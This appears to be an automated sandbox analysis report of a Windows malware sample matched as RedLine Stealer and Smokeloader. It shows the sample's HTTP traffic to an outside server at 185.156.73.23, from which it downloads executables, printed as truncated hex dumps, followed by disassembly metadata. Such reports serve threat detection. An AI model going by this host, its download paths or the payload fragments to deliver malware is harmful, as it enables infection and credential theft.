Dec 20, 2024 16:36:23.250663996 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:24.595232010 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49916	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:26.735939026 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:28.076858997 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49924	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:30.306081057 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:31.630585909 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49935	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:33.780487061 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:35.120634079 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49943	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:37.278856993 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:38.617898941 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49955	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:41.841320992 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:43.331393003 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 20, 2024 16:36:43.331412077 CET	1236	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(*~to(3to^(
Dec 20, 2024 16:36:43.331425905 CET	1236	IN	Data Raw: 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 51 00 00 04 2a 22 02 03 7d 51 00 00 04 2a 32 02 7b 63 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 63 00 00 04 03 Data Ascii: {R2{coR}U{coo{Q"}Q2{cow~{coy}]so2{cosN{cop(2{dosN{dop({VR}Vs({WR}Ws(F{cot
Dec 20, 2024 16:36:43.331861973 CET	1236	IN	Data Raw: 02 03 7d 71 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00 Data Ascii: }q{r"}r(0{s"}s{t"}t{u"}uN((((z,{v,{vo/((5"}xN{o9o<&{\|f}\|{{\|o2{o?*{o9(
Dec 20, 2024 16:36:43.331872940 CET	896	IN	Data Raw: 0a 02 02 fe 06 5d 01 00 06 73 89 00 00 0a 28 95 00 00 0a 02 16 28 97 00 00 0a 2a e6 02 72 a8 0f 00 70 7d 9f 00 00 04 02 72 a8 0f 00 70 7d a1 00 00 04 02 72 a8 0f 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01 Data Ascii: ]s((rp}rp}rp}rp}(({{{"}{"}{(dt%r2poeoftogz,{,{o/(*rp}rp}sm}
Dec 20, 2024 16:36:43.331885099 CET	1236	IN	Data Raw: 00 04 6f 9a 00 00 0a 1b 58 28 01 01 00 0a 02 28 b0 01 00 06 2a b2 02 28 ca 01 00 06 2c 12 02 7b cc 00 00 04 02 7b c2 00 00 04 6f 6f 00 00 0a 2a 02 7b cc 00 00 04 02 28 a9 01 00 06 6f 6f 00 00 0a 2a 1e 02 7b c4 00 00 04 2a 1e 02 7b c5 00 00 04 2a Data Ascii: oX(((,{{oo{(oo{{J{oooJ{oxo{o((,{orp6{o2{o\|6{o}v{o~}{o~*6{o
Dec 20, 2024 16:36:43.331897974 CET	1236	IN	Data Raw: 00 00 04 6f 77 00 00 0a 2a ba 02 7b f9 00 00 04 03 6f 79 00 00 0a 02 7b f9 00 00 04 02 7b f9 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a 32 02 7b fa 00 00 04 6f bd 00 00 0a 2a 36 02 7b fa 00 00 04 03 6f c1 00 00 0a Data Ascii: ow{oy{{owox(+oy2{o6{oJ{oooz,{,{o/(zB#su(vB{(L{:}(M{*}o,o(N(+}(M
Dec 20, 2024 16:36:43.331911087 CET	1236	IN	Data Raw: 02 7b 23 01 00 04 03 6f 6f 00 00 0a 02 7b 24 01 00 04 02 7b 23 01 00 04 6f f2 00 00 0a 6f 6f 00 00 0a 2a 32 02 7b 23 01 00 04 6f f2 00 00 0a 2a aa 02 03 7d 1f 01 00 04 02 7b 22 01 00 04 02 7b 1f 01 00 04 28 29 00 00 06 02 7b 23 01 00 04 02 7b 1f Data Ascii: {#oo{${#ooo2{#o}{"{(){#{(){6{"oo2{"oz,{!,{!o/(znd}%(r((2{&f}({+{((){(*f}){,{
Dec 20, 2024 16:36:43.331923962 CET	1236	IN	Data Raw: 03 00 06 2a 1e 02 7b 54 01 00 04 2a 96 02 03 7d 54 01 00 04 02 7b 56 01 00 04 02 7b 54 01 00 04 28 29 00 00 06 02 02 7b 54 01 00 04 28 29 00 00 06 2a f6 02 7b 56 01 00 04 02 28 99 00 00 0a 02 7b 52 01 00 04 5a 02 7b 53 01 00 04 5b 6f d6 00 00 0a Data Ascii: {T}T{V{T(){T(){V({RZ{S[o{V{T(){T()2{Vo6{Voo{R{Sz,{U,{Uo/(zR}Y((?n}Y(o(?*"}W
Dec 20, 2024 16:36:43.335042953 CET	1236	IN	Data Raw: 01 00 0a 7d a5 01 00 04 02 73 fb 01 00 0a 7d a6 01 00 04 02 28 18 01 00 0a 02 6f a8 03 00 06 2a d6 02 73 fa 01 00 0a 7d 94 01 00 04 02 73 fa 01 00 0a 7d a5 01 00 04 02 73 fb 01 00 0a 7d a6 01 00 04 02 28 18 01 00 0a 03 02 6f 19 01 00 0a 02 6f a8 Data Ascii: }s}(os}s}s}(ooss}{o{rpo{o{os}{o(j,3os*os{"}F(
Dec 20, 2024 16:36:43.451463938 CET	1236	IN	Data Raw: 02 7b e5 01 00 04 6f cf 00 00 0a 02 7b e5 01 00 04 6f 2a 02 00 0a 02 03 28 7a 00 00 0a 2a ae 02 28 7f 00 00 0a 02 72 e0 1f 00 70 28 85 00 00 0a 02 02 fe 06 4a 04 00 06 73 89 00 00 0a 28 93 00 00 0a 02 16 28 97 00 00 0a 2a d6 02 28 35 01 00 0a 02 Data Ascii: {o{o(z(rp(Js(((5(i(p (H(Y((Zzuoa}uo&{"}{"}z,{,{o/(T{"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49962	185.156.73.23	80	6216	C:\Users\user\Desktop\hvm4oOzDaX.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:36:44.297679901 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:36:45.875910997 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:36:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-
Dec 20, 2024 16:36:45.875946999 CET	224	IN	Data Raw: 61 02 7b 11 00 00 04 1b 8d 3c 00 00 01 25 16 09 6f 1f 00 00 0a a2 25 17 72 2f 01 00 70 a2 25 18 11 05 28 12 00 00 06 a2 25 19 72 33 01 00 70 a2 25 1a 11 04 28 12 00 00 06 a2 28 20 00 00 0a 6f 21 00 00 0a 02 7b 12 00 00 04 11 05 1f 64 6a 5a 11 04 Data Ascii: a{<%o%r/p%(%r3p%(( o!{djZ[("o#83^{<%o%r/p%(%r3p%(( o!{djZ[("o#+`3\{<%o%r
Dec 20, 2024 16:36:45.875958920 CET	1236	IN	Data Raw: 2f 01 00 70 a2 25 18 11 05 28 12 00 00 06 a2 25 19 72 33 01 00 70 a2 25 1a 11 04 28 12 00 00 06 a2 28 20 00 00 0a 6f 21 00 00 0a 02 7b 13 00 00 04 11 05 1f 64 6a 5a 11 04 5b 28 22 00 00 0a 6f 23 00 00 0a 06 17 58 0a 08 17 58 0c 08 07 8e 69 3f aa Data Ascii: /p%(%r3p%(( o!{djZ[("o#XXi?0t<%r7p%r;p%rAp%rGp%rMpl+l#@[X j[i/ j/rSp?($(%Js(&&(%
Dec 20, 2024 16:36:45.876180887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 17 00 00 04 17 6f 5b 00 00 0a 02 7b 17 00 00 04 23 00 00 00 00 00 80 56 40 6f 5c 00 00 0a 02 7b 17 00 00 04 16 6f 5d 00 00 0a 02 7b 17 00 00 04 1f 09 20 0c 01 00 00 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 17 00 Data Ascii: oZ{o[{#V@o\{o]{ s>o?{s@oA{rpoB{(<o^{(_o`{(aob{oc{ AUsCoD{oE{rpo!{od{
Dec 20, 2024 16:36:45.876254082 CET	1236	IN	Data Raw: 00 04 14 6f 56 00 00 0a 02 7b 09 00 00 04 16 6f 57 00 00 0a 02 7b 09 00 00 04 16 6f 58 00 00 0a 02 7b 09 00 00 04 17 6f 59 00 00 0a 02 7b 09 00 00 04 23 00 00 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 09 00 00 04 17 6f 5b 00 00 0a 02 7b 09 00 00 04 Data Ascii: oV{oW{oX{oY{#oZ{o[{#V@o\{o]{ s>o?{s@oA{rpoB{(<o^{(_o`{(aob{oc{ AasC
Dec 20, 2024 16:36:45.876269102 CET	1236	IN	Data Raw: 45 00 00 0a 02 7b 0c 00 00 04 72 9d 04 00 70 6f 21 00 00 0a 02 7b 0d 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 0d 00 00 04 19 6f 48 00 00 0a 02 7b 0d 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 0d 00 00 04 06 72 b5 04 00 70 6f 52 00 00 0a 74 Data Ascii: E{rpo!{(<o9{oH{(KoL{rpoRtPom{on{ s>o?{s@oA{rpoB{Q?sCoD{oo{op{oq{or{
Dec 20, 2024 16:36:45.876282930 CET	1236	IN	Data Raw: 0a 6f 39 00 00 0a 02 7b 13 00 00 04 1b 6f 74 00 00 0a 02 7b 13 00 00 04 20 5e 01 00 00 20 da 00 00 00 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 13 00 00 04 1c 1e 1c 1e 73 40 00 00 0a 6f 41 00 00 0a 02 7b 13 00 00 04 1f 64 6f 75 00 00 0a 02 7b 13 00 00 Data Ascii: o9{ot{ ^ s>o?{s@oA{dou{rApoB{(vow{ g4sCoD{oE{o#{ox{oy{{oz{o{{ox{oy{{
Dec 20, 2024 16:36:45.876874924 CET	1236	IN	Data Raw: 7b 19 00 00 04 6f 3b 00 00 0a 02 16 28 90 00 00 0a 02 1a 1b 1a 1b 73 40 00 00 0a 28 91 00 00 0a 02 72 47 07 00 70 28 42 00 00 0a 02 72 47 07 00 70 6f 21 00 00 0a 02 7b 06 00 00 04 16 6f 92 00 00 0a 02 7b 06 00 00 04 6f 93 00 00 0a 02 7b 0b 00 00 Data Ascii: {o;(s@(rGp(BrGpo!{o{o{o{o{o{o{o{o(6((.(%2rmp('&Js(&&(%(%*2rp('&2rmp('
Dec 20, 2024 16:36:45.876888037 CET	1236	IN	Data Raw: 16 19 16 73 4f 00 00 0a 6f 50 00 00 0a 02 7b 20 00 00 04 1f 12 1f 20 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 20 00 00 04 1a 16 1a 16 73 40 00 00 0a 6f 41 00 00 0a 02 7b 20 00 00 04 72 0d 05 00 70 6f 42 00 00 0a 02 7b 20 00 00 04 20 af 00 00 00 1f 34 Data Ascii: sOoP{ s>o?{ s@oA{ rpoB{ 4sCoD{ oE{ r3po!{!ox{!oy{!{oz{!o{{"(8o9{"o:{'o;{"o:{#o;{"o:
Dec 20, 2024 16:36:45.876902103 CET	1236	IN	Data Raw: 17 6f 59 00 00 0a 02 7b 23 00 00 04 23 00 00 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 23 00 00 04 17 6f 5b 00 00 0a 02 7b 23 00 00 04 23 00 00 00 00 00 80 56 40 6f 5c 00 00 0a 02 7b 23 00 00 04 16 6f 5d 00 00 0a 02 7b 23 00 00 04 1f 09 1c 73 3e 00 Data Ascii: oY{##oZ{#o[{##V@o\{#o]{#s>o?{#s@oA{#rpoB{#(<o^{#(_o`{#(aob{#oc{# AVsCoD{#oE{#rpo!{#
Dec 20, 2024 16:36:45.995709896 CET	1236	IN	Data Raw: 04 14 6f 56 00 00 0a 02 7b 26 00 00 04 16 6f 57 00 00 0a 02 7b 26 00 00 04 16 6f 58 00 00 0a 02 7b 26 00 00 04 17 6f 59 00 00 0a 02 7b 26 00 00 04 23 00 00 00 00 00 00 00 00 6f 5a 00 00 0a 02 7b 26 00 00 04 17 6f 5b 00 00 0a 02 7b 26 00 00 04 23 Data Ascii: oV{&oW{&oX{&oY{&#oZ{&o[{&#V@o\{&o]{&Vs>o?{&s@oA{&r#poB{&(<o^{&(_o`{&(aob{&oc{& ASsCoD

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: hvm4oOzDaX.exePID: 6216, Parent PID: 4004

General

Target ID:	2
Start time:	10:35:06
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\hvm4oOzDaX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hvm4oOzDaX.exe"
Imagebase:	0x400000
File size:	1'959'936 bytes
MD5 hash:	69A94137BF10488DD980BC600B3735C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.3243263415.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 6460, Parent PID: 6216

General

Target ID:	18
Start time:	10:36:49
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6216 -s 1720
Imagebase:	0x7ff7934f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: hvm4oOzDaX.exePID: 6216, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	20.4%
Signature Coverage:	11.7%
Total number of Nodes:	1097
Total number of Limit Nodes:	22

Executed Functions

Function 00402C70 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402C96
SetLastError.KERNEL32(000000C1), ref: 00402CD8

Strings

alignedImageSize != AlignValueUp!, xrefs: 00402DB9
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402D38
Section alignment invalid!, xrefs: 00402D5C
DOS header is not valid!, xrefs: 00402CC6
ERROR_OUTOFMEMORY!, xrefs: 00402DEF
@, xrefs: 00402C8F
DOS header size is not valid!, xrefs: 00402D09
Size is not valid!, xrefs: 00402C9C
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402D4A

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLast
String ID: @$DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!
API String ID: 1452528299-393758929
Opcode ID: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction ID: 68209fb506ae9b68e90255ee0055c9910cae7d9580854ddc7816d62818b51dcc
Opcode Fuzzy Hash: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction Fuzzy Hash: 3E129C71B002159BDB14CF98D985BAEBBB5BF48304F14416AE809BB3C1D7B8ED41CB98

Function 004034C0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,067559C4), ref: 00403540
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403564
_mbstowcs.LIBCMT ref: 004035B7
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004035CE
GetLastError.KERNEL32 ref: 004035D8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 00403600
GetLastError.KERNEL32 ref: 0040360A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040361A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004036DC
CryptDestroyKey.ADVAPI32(?), ref: 0040374E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040351C

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: b9aca645bf8e0e24d310163d35795d59eee685dab11f25e4e54b3c0023d62c89
Instruction ID: 057eae88fc1e8b42dc2b0b13f8460ebd140b44a30a8541124d595f3772e2d34e
Opcode Fuzzy Hash: b9aca645bf8e0e24d310163d35795d59eee685dab11f25e4e54b3c0023d62c89
Instruction Fuzzy Hash: 4D8182B1A00218AFEF248F25CC45B9ABBB9EF45304F1081BAE50DE7291DB359E858F55

Function 00402950 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 004029F8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402A0D
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402A1B
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402A36
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402A55
LocalFree.KERNEL32(00000000), ref: 00402A62
LocalFree.KERNEL32(?), ref: 00402A67

Strings

%s: %s, xrefs: 00402A46
Error protecting memory page, xrefs: 00402A41

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction ID: 2da31f80489fd9465a3e1d2b594a5759e7c0520832ca97f04c55df17c8a78757
Opcode Fuzzy Hash: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction Fuzzy Hash: 0831F272B00114AFDB14DF58DC44FAAB7A8FF48304F0541AAE905EB291DA75AD12CA88

Function 00401880 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

